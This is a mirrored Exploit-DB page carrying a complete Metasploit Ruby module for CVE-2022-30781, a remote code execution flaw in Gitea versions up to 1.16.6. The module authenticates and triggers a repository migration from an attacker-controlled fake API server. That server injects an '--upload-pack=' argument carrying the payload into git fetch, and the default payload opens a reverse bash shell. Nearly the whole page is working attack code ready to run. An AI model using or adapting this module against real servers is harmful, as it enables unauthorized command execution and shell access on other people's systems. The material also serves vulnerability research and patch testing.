Gitea 1.16.6 – Remote Code Execution (RCE) (Metasploit)

  • 作者: samguy
    日期: 2022-09-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51009/
  • # Exploit Title: Gitea Git Fetch Remote Code Execution
    # Date: 09/14/2022
    # Exploit Author: samguy
    # Vendor Homepage: https://gitea.io
    # Software Link: https://dl.gitea.io/gitea/1.16.6
    # Version: <= 1.16.6
    # Tested on: Linux - Debian
    # Ref : https://tttang.com/archive/1607/
    # CVE : CVE-2022-30781
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    prepend Msf::Exploit::Remote::AutoCheck
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => 'Gitea Git Fetch Remote Code Execution',
    'Description' => %q{
    This module exploits Git fetch command in Gitea repository migration
    process that leads to a remote command execution on the system.
    This vulnerability affect Gitea before 1.16.7 version.
    },
    'Author' => [
    'wuhan005 & li4n0', # Original PoC
    'krastanoel'# MSF Module
    ],
    'References' => [
    ['CVE', '2022-30781'],
    ['URL', 'https://tttang.com/archive/1607/']
    ],
    'DisclosureDate' => '2022-05-16',
    'License' => MSF_LICENSE,
    'Platform' => %w[unix win],
    'Arch' => ARCH_CMD,
    'Privileged' => false,
    'Targets' => [
    [
    'Unix Command',
    {
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Type' => :unix_cmd,
    'DefaultOptions' => {
    'PAYLOAD' => 'cmd/unix/reverse_bash'
    }
    }
    ],
    ],
    'DefaultOptions' => { 'WfsDelay' => 30 },
    'DefaultTarget' => 0,
    'Notes' => {
    'Stability' => [CRASH_SAFE],
    'Reliability' => [REPEATABLE_SESSION],
    'SideEffects' => []
    }
    )
    )
    
    register_options([
    Opt::RPORT(3000),
    OptString.new('TARGETURI', [true, 'Base path', '/']),
    OptString.new('USERNAME', [true, 'Username to authenticate with']),
    OptString.new('PASSWORD', [true, 'Password to use']),
    OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
    ])
    end
    
    def check
    res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, '/user/login'),
    'keep_cookies' => true
    )
    return CheckCode::Unknown('No response from the web service') if res.nil?
    return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
    
    # Powered by Gitea Version: 1.16.6
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
    return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end
    
    if match[:version].match(/[a-zA-Z]/)
    return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end
    
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/user/login'),
    'vars_post' => {
    'user_name' => datastore['USERNAME'],
    'password' => datastore['PASSWORD'],
    '_csrf' => get_csrf(res.get_cookies)
    },
    'keep_cookies' => true
    )
    return CheckCode::Safe('Authentication failed') if res&.code != 302
    
    if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
    return CheckCode::Appears("Version detected: #{match[:version]}")
    end
    
    CheckCode::Safe("Version detected: #{match[:version]}")
    rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
    end
    
    def primer
    ['/api/v1/version', '/api/v1/settings/api',
     "/api/v1/repos/#{@migrate_repo_path}",
     "/api/v1/repos/#{@migrate_repo_path}/pulls",
     "/api/v1/repos/#{@migrate_repo_path}/topics"
    ].each { |uri| hardcoded_uripath(uri) } # adding resources
    
    vprint_status("Creating repository \"#{@repo_name}\"")
    gitea_create_repo
    vprint_good('Repository created')
    vprint_status("Migrating repository")
    gitea_migrate_repo
    end
    
    def exploit
    @repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
    datastore['URIPATH'] = "/#{@migrate_repo_path}"
    
    Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
    [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
    cleanup # removing all resources
    end
    
    def get_csrf(cookies)
    csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
    fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
    csrf
    end
    
    def gitea_remove_repo(name)
    vprint_status("Cleanup: removing repository \"#{name}\"")
    uri = "/#{datastore['username']}/#{name}/settings"
    res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, uri),
    'keep_cookies' => true
    )
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => uri,
    'vars_post' => {
    'action' => 'delete',
    'repo_name' => name,
    '_csrf' => get_csrf(res.get_cookies)
    },
    'keep_cookies' => true
    )
    vprint_warning('Unable to remove repository') if res&.code != 302
    end
    
    def gitea_create_repo
    uri = normalize_uri(target_uri.path, '/repo/create')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid
    
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => uri,
    'vars_post' => {
    'uid' => @uid,
    'auto_init' => 'on',
    'readme' => 'Default',
    'repo_name' => @repo_name,
    'trust_model' => 'default',
    'default_branch' => 'master',
    '_csrf' => get_csrf(res.get_cookies)
    },
    'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302
    
    rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
    end
    
    def gitea_migrate_repo
    res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
    'keep_cookies' => true
    )
    uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri
    
    svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
    res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, uri),
    'keep_cookies' => true
    )
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => uri,
    'vars_post' => {
    'uid' => @uid,
    'service' => svc_type,
    'pull_requests' => 'on',
    'repo_name' => @migrate_repo_name,
    '_csrf' => get_csrf(res.get_cookies),
    'auth_token' => rand_text_alphanumeric(6..15),
    'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
    },
    'keep_cookies' => true
    )
    if res&.code != 302 # possibly triggered by the [migrations] settings
    err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
    gitea_remove_repo(@repo_name)
    cleanup
    fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
    end
    
    rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
    end
    
    def on_request_uri(cli, req)
    case req.uri
    when '/api/v1/version'
    send_response(cli, '{"version": "1.16.6"}')
    when '/api/v1/settings/api'
    data = {
    'max_response_items':50,'default_paging_num':30,
    'default_git_trees_per_page':1000,'default_max_blob_size':10485760
    }
    send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}"
    data = {
    "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
    "owner": { "login": datastore['username'] }
    }
    send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
    send_response(cli, '{"topics":[]}')
    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
    data = [
    {
    "base": {
    "ref": "master",
    },
    "head": {
    "ref": "--upload-pack=#{payload.encoded}",
    "repo": {
    "clone_url": "./",
    "owner": { "login": "master" },
    }
    },
    "updated_at": "2001-01-01T05:00:00+01:00",
    "user": {}
    }
    ]
    send_response(cli, data.to_json)
    end
    end
    end